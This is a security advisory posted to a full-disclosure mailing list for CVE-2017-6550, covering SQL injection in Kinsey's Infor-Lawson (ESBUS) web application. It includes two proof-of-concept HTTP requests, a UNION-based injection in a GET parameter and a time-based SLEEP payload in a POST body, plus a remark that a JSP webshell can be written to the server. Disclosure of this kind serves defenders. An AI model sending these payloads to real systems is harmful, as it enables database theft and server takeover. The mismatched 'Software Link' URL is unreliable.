full-disclosure - [FD] CVE-2017-6550: Kinsey Infor-Lawson

Open Source and information security mailing list archives

Date: Fri, 10 Mar 2017 10:40:07 -0500
From: Michael Benich <benichmt1@...tonmail.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] CVE-2017-6550: Kinsey Infor-Lawson - Multiple SQL Injections

Summary: Kinsey's Infor-Lawson application (formerly ESBUS) is vulnerable to SQL injection in at least two parameters:
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Vendor: Kinsey
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Software Link: [](https://c4b.epson-biz.com/modules/community/index.php?content_id=50)http://www.kinsey.com/infor-lawson.html
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Identifier: CVE-2017-6550
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Tested on: Windows Server 2008 R2; MySQL ver 5.5
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Exploit Author: Michael Benich
Contact: benichmt1 [at] protonmail.com or @benichmt1
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PoC:

1) TABLE parameter, PoC below

GET /esbus/servlet/GetSQLData?SCHEMA=ESBUS_INTERNAL&TABLE=SCHEDULEDTASKS UNION ALL SELECT <<ATTACKER INPUT>>&FIELD=LASTRUN&NOHEADER=1&SELECT=CLASS=com.esbus.appliance.SOD_PolicyCheck_SystemRun_TimerTask&OUT=XML HTTP/1.1

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2) Query POST parameter

POST /KK_LS9ReportingPortal/GetData?SERVERID=%27;LSF_PROD& HTTP/1.1

<--snip--http headers-->

QUERY=1 AND SLEEP(5) AND ('foo'='foo')) &OUT=TAB

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A JSP webshell can then be written to the /esbus/ directory.
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Timeline:

12/1/2016 - Discovery. Contacted generic security emails
12/1/2016 - Received response from vendor ("Thanks for the info...")
2/27/2017 - Followed up with contact and intent to disclose. No reply.
3/10/2017 - Disclosure
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